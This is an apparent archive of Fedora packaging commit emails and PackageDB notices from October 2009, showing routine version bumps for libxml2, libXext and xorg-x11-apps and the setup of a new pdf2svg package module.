 libxml2-2.7.3.tar.gz
 libxml2-2.7.4.tar.gz
 libxml2-2.7.5.tar.gz
+libxml2-2.7.6.tar.gz


Index: libxml2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libxml2/devel/libxml2.spec,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- libxml2.spec	24 Sep 2009 16:53:36 -0000	1.77
+++ libxml2.spec	6 Oct 2009 16:48:11 -0000	1.78
@@ -1,6 +1,6 @@
 Summary: Library providing XML and HTML support
 Name: libxml2
-Version: 2.7.5
+Version: 2.7.6
 Release: 1%{?dist}%{?extra_release}
 License: MIT
 Group: Development/Libraries
@@ -141,6 +141,10 @@ rm -fr %{buildroot}
 %doc doc/python.html
 
 %changelog
+* Tue Oct  6 2009 Daniel Veillard <veillard at redhat.com> - 2.7.6-1
+- Upstream release of 2.7.6
+- restore thread support off by default in 2.7.5
+
 * Thu Sep 24 2009 Daniel Veillard <veillard at redhat.com> - 2.7.5-1
 - Upstream release of 2.7.5
 - fix a couple of Relax-NG validation problems


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libxml2/devel/sources,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- sources	24 Sep 2009 16:53:36 -0000	1.48
+++ sources	6 Oct 2009 16:48:11 -0000	1.49
@@ -1,2 +1 @@
-961cce07211049e3bb20c5b98a1281b4  libxml2-2.7.4.tar.gz
-2e29ca610579438714ebb1e4010a0ece  libxml2-2.7.5.tar.gz
+7740a8ec23878a2f50120e1faa2730f2  libxml2-2.7.6.tar.gz



From pkgdb at fedoraproject.org  Tue Oct  6 16:48:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 16:48:12 +0000
Subject: [pkgdb] vim-vimoutliner: plautrba has requested commit
Message-ID: <20091006164812.BD32E10F895@bastion2.fedora.phx.redhat.com>

plautrba has requested the commit acl on vim-vimoutliner (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From pkgdb at fedoraproject.org  Tue Oct  6 16:48:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 16:48:16 +0000
Subject: [pkgdb] vim-vimoutliner: plautrba has requested watchbugzilla
Message-ID: <20091006164816.DCAF610F871@bastion2.fedora.phx.redhat.com>

plautrba has requested the watchbugzilla acl on vim-vimoutliner (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From pkgdb at fedoraproject.org  Tue Oct  6 16:48:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 16:48:20 +0000
Subject: [pkgdb] vim-vimoutliner: plautrba has requested approveacls
Message-ID: <20091006164820.6F22810F892@bastion2.fedora.phx.redhat.com>

plautrba has requested the approveacls acl on vim-vimoutliner (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/vim-vimoutliner



From veillard at fedoraproject.org  Tue Oct  6 16:51:11 2009
From: veillard at fedoraproject.org (Daniel Veillard)
Date: Tue,  6 Oct 2009 16:51:11 +0000 (UTC)
Subject: rpms/libxml2/F-11 libxml2.spec,1.74,1.75 sources,1.48,1.49
Message-ID: <20091006165111.244CE11C00C1@cvs1.fedora.phx.redhat.com>

Author: veillard

Update of /cvs/pkgs/rpms/libxml2/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5371

Modified Files:
	libxml2.spec sources 
Log Message:
Upstream release 2.7.6, Daniel



Index: libxml2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libxml2/F-11/libxml2.spec,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- libxml2.spec	24 Sep 2009 18:02:37 -0000	1.74
+++ libxml2.spec	6 Oct 2009 16:51:10 -0000	1.75
@@ -1,6 +1,6 @@
 Summary: Library providing XML and HTML support
 Name: libxml2
-Version: 2.7.5
+Version: 2.7.6
 Release: 1%{?dist}%{?extra_release}
 License: MIT
 Group: Development/Libraries
@@ -141,6 +141,10 @@ rm -fr %{buildroot}
 %doc doc/python.html
 
 %changelog
+* Tue Oct  6 2009 Daniel Veillard <veillard at redhat.com> - 2.7.6-1
+- Upstream release of 2.7.6
+- restore thread support off by default in 2.7.5
+
 * Thu Sep 24 2009 Daniel Veillard <veillard at redhat.com> - 2.7.5-1
 - Upstream release of 2.7.5
 - fix a couple of Relax-NG validation problems


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libxml2/F-11/sources,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- sources	24 Sep 2009 18:02:37 -0000	1.48
+++ sources	6 Oct 2009 16:51:10 -0000	1.49
@@ -1,2 +1 @@
-961cce07211049e3bb20c5b98a1281b4  libxml2-2.7.4.tar.gz
-2e29ca610579438714ebb1e4010a0ece  libxml2-2.7.5.tar.gz
+7740a8ec23878a2f50120e1faa2730f2  libxml2-2.7.6.tar.gz



From veillard at fedoraproject.org  Tue Oct  6 16:53:35 2009
From: veillard at fedoraproject.org (Daniel Veillard)
Date: Tue,  6 Oct 2009 16:53:35 +0000 (UTC)
Subject: rpms/libxml2/F-10 libxml2.spec,1.67,1.68 sources,1.48,1.49
Message-ID: <20091006165335.406D611C00C1@cvs1.fedora.phx.redhat.com>

Author: veillard

Update of /cvs/pkgs/rpms/libxml2/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5958

Modified Files:
	libxml2.spec sources 
Log Message:
Upstream release of 2.7.6, Daniel



Index: libxml2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libxml2/F-10/libxml2.spec,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- libxml2.spec	24 Sep 2009 18:06:11 -0000	1.67
+++ libxml2.spec	6 Oct 2009 16:53:35 -0000	1.68
@@ -1,6 +1,6 @@
 Summary: Library providing XML and HTML support
 Name: libxml2
-Version: 2.7.5
+Version: 2.7.6
 Release: 1%{?dist}%{?extra_release}
 License: MIT
 Group: Development/Libraries
@@ -141,6 +141,10 @@ rm -fr %{buildroot}
 %doc doc/python.html
 
 %changelog
+* Tue Oct  6 2009 Daniel Veillard <veillard at redhat.com> - 2.7.6-1
+- Upstream release of 2.7.6
+- restore thread support off by default in 2.7.5
+
 * Thu Sep 24 2009 Daniel Veillard <veillard at redhat.com> - 2.7.5-1
 - Upstream release of 2.7.5
 - fix a couple of Relax-NG validation problems


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libxml2/F-10/sources,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- sources	24 Sep 2009 18:06:11 -0000	1.48
+++ sources	6 Oct 2009 16:53:35 -0000	1.49
@@ -1,2 +1 @@
-961cce07211049e3bb20c5b98a1281b4  libxml2-2.7.4.tar.gz
-2e29ca610579438714ebb1e4010a0ece  libxml2-2.7.5.tar.gz
+7740a8ec23878a2f50120e1faa2730f2  libxml2-2.7.6.tar.gz



From ajax at fedoraproject.org  Tue Oct  6 17:00:32 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue,  6 Oct 2009 17:00:32 +0000 (UTC)
Subject: rpms/libXext/devel .cvsignore, 1.11, 1.12 libXext.spec, 1.29,
	1.30 sources, 1.12, 1.13
Message-ID: <20091006170032.B1D6C11C0298@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXext/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8380

Modified Files:
	.cvsignore libXext.spec sources 
Log Message:
* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 1.1-1
- libXext 1.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libXext/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	22 Jul 2009 09:55:40 -0000	1.11
+++ .cvsignore	6 Oct 2009 17:00:32 -0000	1.12
@@ -1 +1 @@
-libXext-1.0.99.4.tar.bz2
+libXext-1.1.tar.bz2


Index: libXext.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXext/devel/libXext.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- libXext.spec	25 Jul 2009 05:11:54 -0000	1.29
+++ libXext.spec	6 Oct 2009 17:00:32 -0000	1.30
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libXext runtime library
 Name: libXext
-Version: 1.0.99.4
-Release: 3%{?dist}
+Version: 1.1
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -85,6 +85,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*.3*
 
 %changelog
+* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 1.1-1
+- libXext 1.1
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.99.4-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXext/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	22 Jul 2009 09:55:40 -0000	1.12
+++ sources	6 Oct 2009 17:00:32 -0000	1.13
@@ -1 +1 @@
-24da44888b87c66edb326acec35b85aa  libXext-1.0.99.4.tar.bz2
+b8ee455effbcaf5a475870e92ed6973c  libXext-1.1.tar.bz2



From ajax at fedoraproject.org  Tue Oct  6 17:02:43 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue,  6 Oct 2009 17:02:43 +0000 (UTC)
Subject: rpms/libXext/F-12 libXext.spec,1.29,1.30 sources,1.12,1.13
Message-ID: <20091006170243.3C85D11C00C1@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/libXext/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8865

Modified Files:
	libXext.spec sources 
Log Message:
* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 1.1-1
- libXext 1.1



Index: libXext.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libXext/F-12/libXext.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- libXext.spec	25 Jul 2009 05:11:54 -0000	1.29
+++ libXext.spec	6 Oct 2009 17:02:42 -0000	1.30
@@ -1,7 +1,7 @@
 Summary: X.Org X11 libXext runtime library
 Name: libXext
-Version: 1.0.99.4
-Release: 3%{?dist}
+Version: 1.1
+Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
 URL: http://www.x.org
@@ -85,6 +85,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man3/*.3*
 
 %changelog
+* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 1.1-1
+- libXext 1.1
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.99.4-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libXext/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	22 Jul 2009 09:55:40 -0000	1.12
+++ sources	6 Oct 2009 17:02:42 -0000	1.13
@@ -1 +1 @@
-24da44888b87c66edb326acec35b85aa  libXext-1.0.99.4.tar.bz2
+b8ee455effbcaf5a475870e92ed6973c  libXext-1.1.tar.bz2



From veillard at fedoraproject.org  Tue Oct  6 17:09:07 2009
From: veillard at fedoraproject.org (Daniel Veillard)
Date: Tue,  6 Oct 2009 17:09:07 +0000 (UTC)
Subject: rpms/libxml2/F-12 libxml2.spec,1.77,1.78 sources,1.48,1.49
Message-ID: <20091006170907.0A23011C00C1@cvs1.fedora.phx.redhat.com>

Author: veillard

Update of /cvs/pkgs/rpms/libxml2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10635

Modified Files:
	libxml2.spec sources 
Log Message:
Upstream release of libxml2-2.7.6, Daniel



Index: libxml2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libxml2/F-12/libxml2.spec,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- libxml2.spec	24 Sep 2009 16:53:36 -0000	1.77
+++ libxml2.spec	6 Oct 2009 17:09:06 -0000	1.78
@@ -1,6 +1,6 @@
 Summary: Library providing XML and HTML support
 Name: libxml2
-Version: 2.7.5
+Version: 2.7.6
 Release: 1%{?dist}%{?extra_release}
 License: MIT
 Group: Development/Libraries
@@ -141,6 +141,10 @@ rm -fr %{buildroot}
 %doc doc/python.html
 
 %changelog
+* Tue Oct  6 2009 Daniel Veillard <veillard at redhat.com> - 2.7.6-1
+- Upstream release of 2.7.6
+- restore thread support off by default in 2.7.5
+
 * Thu Sep 24 2009 Daniel Veillard <veillard at redhat.com> - 2.7.5-1
 - Upstream release of 2.7.5
 - fix a couple of Relax-NG validation problems


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libxml2/F-12/sources,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- sources	24 Sep 2009 16:53:36 -0000	1.48
+++ sources	6 Oct 2009 17:09:06 -0000	1.49
@@ -1,2 +1 @@
-961cce07211049e3bb20c5b98a1281b4  libxml2-2.7.4.tar.gz
-2e29ca610579438714ebb1e4010a0ece  libxml2-2.7.5.tar.gz
+7740a8ec23878a2f50120e1faa2730f2  libxml2-2.7.6.tar.gz



From ajax at fedoraproject.org  Tue Oct  6 17:13:10 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue,  6 Oct 2009 17:13:10 +0000 (UTC)
Subject: rpms/xorg-x11-apps/devel .cvsignore, 1.17, 1.18 sources, 1.17,
	1.18 xorg-x11-apps.spec, 1.41, 1.42
Message-ID: <20091006171310.DACE511C00C1@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-apps/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12463

Modified Files:
	.cvsignore sources xorg-x11-apps.spec 
Log Message:
* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 7.4-6
- luit 1.0.4



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/devel/.cvsignore,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- .cvsignore	24 Sep 2009 01:11:59 -0000	1.17
+++ .cvsignore	6 Oct 2009 17:13:08 -0000	1.18
@@ -19,3 +19,4 @@ xinput-1.4.99.3.tar.bz2
 xfd-1.0.1.tar.bz2
 xfontsel-1.0.2.tar.bz2
 xvidtune-1.0.1.tar.bz2
+luit-1.0.4.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/devel/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	24 Sep 2009 01:11:59 -0000	1.17
+++ sources	6 Oct 2009 17:13:09 -0000	1.18
@@ -1,4 +1,3 @@
-aacda46598ce3af8ca16e2a8132db1b2  luit-1.0.2.tar.bz2
 91f49547f9ed3cd0137c8b7c3183e360  oclock-1.0.1.tar.bz2
 fd06c8b8e3572a0e14af65a49e0dd7d1  x11perf-1.4.1.tar.bz2
 404f5add4537d22dd109c33e518a5190  xbiff-1.0.1.tar.bz2
@@ -19,3 +18,4 @@ cc2b98b561b6431bd1e06d13ad2c7b5e  xinput
 c72abd90f50ef459bc14b39ec9fcc7f8  xfd-1.0.1.tar.bz2
 288fe4cf8a990e4e602aac16dd9109fb  xfontsel-1.0.2.tar.bz2
 e0744594f4e5969b20df28d897781318  xvidtune-1.0.1.tar.bz2
+4e45233e310d72dce307709761cf241b  luit-1.0.4.tar.bz2


Index: xorg-x11-apps.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/devel/xorg-x11-apps.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- xorg-x11-apps.spec	24 Sep 2009 01:11:59 -0000	1.41
+++ xorg-x11-apps.spec	6 Oct 2009 17:13:09 -0000	1.42
@@ -5,7 +5,7 @@ Name: xorg-x11-%{pkgname}
 # NOTE: The package version should be set to the X11 major release from which
 # the OS release is based upon.
 Version: 7.4
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
@@ -19,7 +19,7 @@ Source2:  ftp://ftp.x.org/pub/individual
 Source3:  ftp://ftp.x.org/pub/individual/app/xwud-1.0.1.tar.bz2
 Source4:  ftp://ftp.x.org/pub/individual/app/xpr-1.0.2.tar.bz2
 # Miscellaneous other applications
-Source5:  ftp://ftp.x.org/pub/individual/app/luit-1.0.2.tar.bz2
+Source5:  ftp://ftp.x.org/pub/individual/app/luit-1.0.4.tar.bz2
 Source6:  ftp://ftp.x.org/pub/individual/app/x11perf-1.4.1.tar.bz2
 Source7:  ftp://ftp.x.org/pub/individual/app/xbiff-1.0.1.tar.bz2
 Source8:  ftp://ftp.x.org/pub/individual/app/xclipboard-1.0.1.tar.bz2
@@ -37,7 +37,6 @@ Source19: ftp://ftp.x.org/pub/individual
 Source20: ftp://ftp.x.org/pub/individual/app/xvidtune-1.0.1.tar.bz2
 
 Patch0: x11perf-1.4.1-x11perf-datadir-cleanups.patch
-Patch1: luit-1.0.1-locale.alias-datadir.patch
 Patch2: xconsole-1.0.3-streams-me-softer.patch
 Patch3: xvidtune-1.0.1-buffer-stomp.patch
 Patch4: xlogo-less-xprint.patch
@@ -83,7 +82,6 @@ A collection of common X Window System a
 %prep
 %setup -q -c %{name}-%{version} -a1 -a2 -a3 -a4 -a5 -a6 -a7 -a8 -a9 -a10 -a11 -a12 -a13 -a14 -a15 -a16 -a17 -a18 -a19 -a20
 %patch0 -p0 -b .x11perf-datadir-cleanups
-%patch1 -p0 -b .locale.alias-datadir
 %patch2 -p0 -b .streams-me-softer
 %patch3 -p1 -b .buffer-stomp
 %patch4 -p0 -b .xprint
@@ -190,6 +188,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/xwud.1*
 
 %changelog
+* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 7.4-6
+- luit 1.0.4
+
 * Thu Sep 24 2009 Peter Hutterer <peter.hutterer at redhat.com> 7.4-5
 - xclock 1.0.4
 - xinput 1.4.99.3



From ajax at fedoraproject.org  Tue Oct  6 17:14:11 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue,  6 Oct 2009 17:14:11 +0000 (UTC)
Subject: rpms/xorg-x11-apps/F-12 sources, 1.17, 1.18 xorg-x11-apps.spec, 1.41,
	1.42
Message-ID: <20091006171411.0677911C00C1@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-apps/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13101

Modified Files:
	sources xorg-x11-apps.spec 
Log Message:
* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 7.4-6
- luit 1.0.4



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/F-12/sources,v
retrieving revision 1.17
retrieving revision 1.18
diff -u -p -r1.17 -r1.18
--- sources	24 Sep 2009 01:11:59 -0000	1.17
+++ sources	6 Oct 2009 17:14:10 -0000	1.18
@@ -1,4 +1,3 @@
-aacda46598ce3af8ca16e2a8132db1b2  luit-1.0.2.tar.bz2
 91f49547f9ed3cd0137c8b7c3183e360  oclock-1.0.1.tar.bz2
 fd06c8b8e3572a0e14af65a49e0dd7d1  x11perf-1.4.1.tar.bz2
 404f5add4537d22dd109c33e518a5190  xbiff-1.0.1.tar.bz2
@@ -19,3 +18,4 @@ cc2b98b561b6431bd1e06d13ad2c7b5e  xinput
 c72abd90f50ef459bc14b39ec9fcc7f8  xfd-1.0.1.tar.bz2
 288fe4cf8a990e4e602aac16dd9109fb  xfontsel-1.0.2.tar.bz2
 e0744594f4e5969b20df28d897781318  xvidtune-1.0.1.tar.bz2
+4e45233e310d72dce307709761cf241b  luit-1.0.4.tar.bz2


Index: xorg-x11-apps.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-apps/F-12/xorg-x11-apps.spec,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- xorg-x11-apps.spec	24 Sep 2009 01:11:59 -0000	1.41
+++ xorg-x11-apps.spec	6 Oct 2009 17:14:10 -0000	1.42
@@ -5,7 +5,7 @@ Name: xorg-x11-%{pkgname}
 # NOTE: The package version should be set to the X11 major release from which
 # the OS release is based upon.
 Version: 7.4
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
@@ -19,7 +19,7 @@ Source2:  ftp://ftp.x.org/pub/individual
 Source3:  ftp://ftp.x.org/pub/individual/app/xwud-1.0.1.tar.bz2
 Source4:  ftp://ftp.x.org/pub/individual/app/xpr-1.0.2.tar.bz2
 # Miscellaneous other applications
-Source5:  ftp://ftp.x.org/pub/individual/app/luit-1.0.2.tar.bz2
+Source5:  ftp://ftp.x.org/pub/individual/app/luit-1.0.4.tar.bz2
 Source6:  ftp://ftp.x.org/pub/individual/app/x11perf-1.4.1.tar.bz2
 Source7:  ftp://ftp.x.org/pub/individual/app/xbiff-1.0.1.tar.bz2
 Source8:  ftp://ftp.x.org/pub/individual/app/xclipboard-1.0.1.tar.bz2
@@ -37,7 +37,6 @@ Source19: ftp://ftp.x.org/pub/individual
 Source20: ftp://ftp.x.org/pub/individual/app/xvidtune-1.0.1.tar.bz2
 
 Patch0: x11perf-1.4.1-x11perf-datadir-cleanups.patch
-Patch1: luit-1.0.1-locale.alias-datadir.patch
 Patch2: xconsole-1.0.3-streams-me-softer.patch
 Patch3: xvidtune-1.0.1-buffer-stomp.patch
 Patch4: xlogo-less-xprint.patch
@@ -83,7 +82,6 @@ A collection of common X Window System a
 %prep
 %setup -q -c %{name}-%{version} -a1 -a2 -a3 -a4 -a5 -a6 -a7 -a8 -a9 -a10 -a11 -a12 -a13 -a14 -a15 -a16 -a17 -a18 -a19 -a20
 %patch0 -p0 -b .x11perf-datadir-cleanups
-%patch1 -p0 -b .locale.alias-datadir
 %patch2 -p0 -b .streams-me-softer
 %patch3 -p1 -b .buffer-stomp
 %patch4 -p0 -b .xprint
@@ -190,6 +188,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/xwud.1*
 
 %changelog
+* Tue Oct 06 2009 Adam Jackson <ajax at redhat.com> 7.4-6
+- luit 1.0.4
+
 * Thu Sep 24 2009 Peter Hutterer <peter.hutterer at redhat.com> 7.4-5
 - xclock 1.0.4
 - xinput 1.4.99.3



From pkgdb at fedoraproject.org  Tue Oct  6 17:27:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:27:01 +0000
Subject: [pkgdb] pdf2svg was added for mathstuf
Message-ID: <20091006172701.95A6D10F894@bastion2.fedora.phx.redhat.com>

kevin has added Package pdf2svg with summary Small tool to convert PDF files into SVG
kevin has approved Package pdf2svg
kevin has added a Fedora devel branch for pdf2svg with an owner of mathstuf
kevin has approved pdf2svg in Fedora devel
kevin has approved Package pdf2svg
kevin has set commit to Approved for 107427 on pdf2svg (Fedora devel)
kevin has set checkout to Approved for 107427 on pdf2svg (Fedora devel)
kevin has set build to Approved for 107427 on pdf2svg (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/pdf2svg



From pkgdb at fedoraproject.org  Tue Oct  6 17:27:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:27:03 +0000
Subject: [pkgdb] pdf2svg summary updated by kevin
Message-ID: <20091006172703.3D7DE10F8A2@bastion2.fedora.phx.redhat.com>

kevin set package pdf2svg summary to Small tool to convert PDF files into SVG

To make changes to this package see:
  /pkgdb/packages/name/pdf2svg



From pkgdb at fedoraproject.org  Tue Oct  6 17:27:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:27:03 +0000
Subject: [pkgdb] pdf2svg (Fedora, 10) updated by kevin
Message-ID: <20091006172703.4D8C610F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for pdf2svg
kevin has set commit to Approved for 107427 on pdf2svg (Fedora 12)
kevin has set checkout to Approved for 107427 on pdf2svg (Fedora 12)
kevin has set build to Approved for 107427 on pdf2svg (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/pdf2svg



From pkgdb at fedoraproject.org  Tue Oct  6 17:27:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:27:03 +0000
Subject: [pkgdb] pdf2svg (Fedora, 10) updated by kevin
Message-ID: <20091006172703.438F310F8A9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for pdf2svg
kevin has set commit to Approved for 107427 on pdf2svg (Fedora 11)
kevin has set checkout to Approved for 107427 on pdf2svg (Fedora 11)
kevin has set build to Approved for 107427 on pdf2svg (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/pdf2svg



From pkgdb at fedoraproject.org  Tue Oct  6 17:27:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Tue, 06 Oct 2009 17:27:03 +0000
Subject: [pkgdb] pdf2svg (Fedora, 10) updated by kevin
Message-ID: <20091006172703.5A00810F8B0@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for pdf2svg
kevin has set commit to Approved for 107427 on pdf2svg (Fedora 10)
kevin has set checkout to Approved for 107427 on pdf2svg (Fedora 10)
kevin has set build to Approved for 107427 on pdf2svg (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/pdf2svg



From kevin at fedoraproject.org  Tue Oct  6 17:27:11 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:27:11 +0000 (UTC)
Subject: rpms/pdf2svg - New directory
Message-ID: <20091006172711.34A8A11C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/pdf2svg
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsr15977/rpms/pdf2svg

Log Message:
Directory /cvs/pkgs/rpms/pdf2svg added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:27:11 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:27:11 +0000 (UTC)
Subject: rpms/pdf2svg/devel - New directory
Message-ID: <20091006172711.59B6811C0298@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/pdf2svg/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsr15977/rpms/pdf2svg/devel

Log Message:
Directory /cvs/pkgs/rpms/pdf2svg/devel added to the repository




From kevin at fedoraproject.org  Tue Oct  6 17:27:18 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:27:18 +0000 (UTC)
Subject: rpms/pdf2svg Makefile,NONE,1.1
Message-ID: <20091006172718.645AF11C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/pdf2svg
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsr15977/rpms/pdf2svg

Added Files:
	Makefile 
Log Message:
Setup of module pdf2svg


--- NEW FILE Makefile ---
# Top level Makefile for module pdf2svg
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Tue Oct  6 17:27:18 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Tue,  6 Oct 2009 17:27:18 +0000 (UTC)
Subject: rpms/pdf2svg/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091006172718.A986311C00C1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/pdf2svg/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsr15977/rpms/pdf2svg/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module pdf2svg


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: pdf2svg
# $Id: Makefile,v 1.1 2009/10/06 17:27:18 kevin Exp $
NAME := pdf2svg
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Tue Oct  6 17:28:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
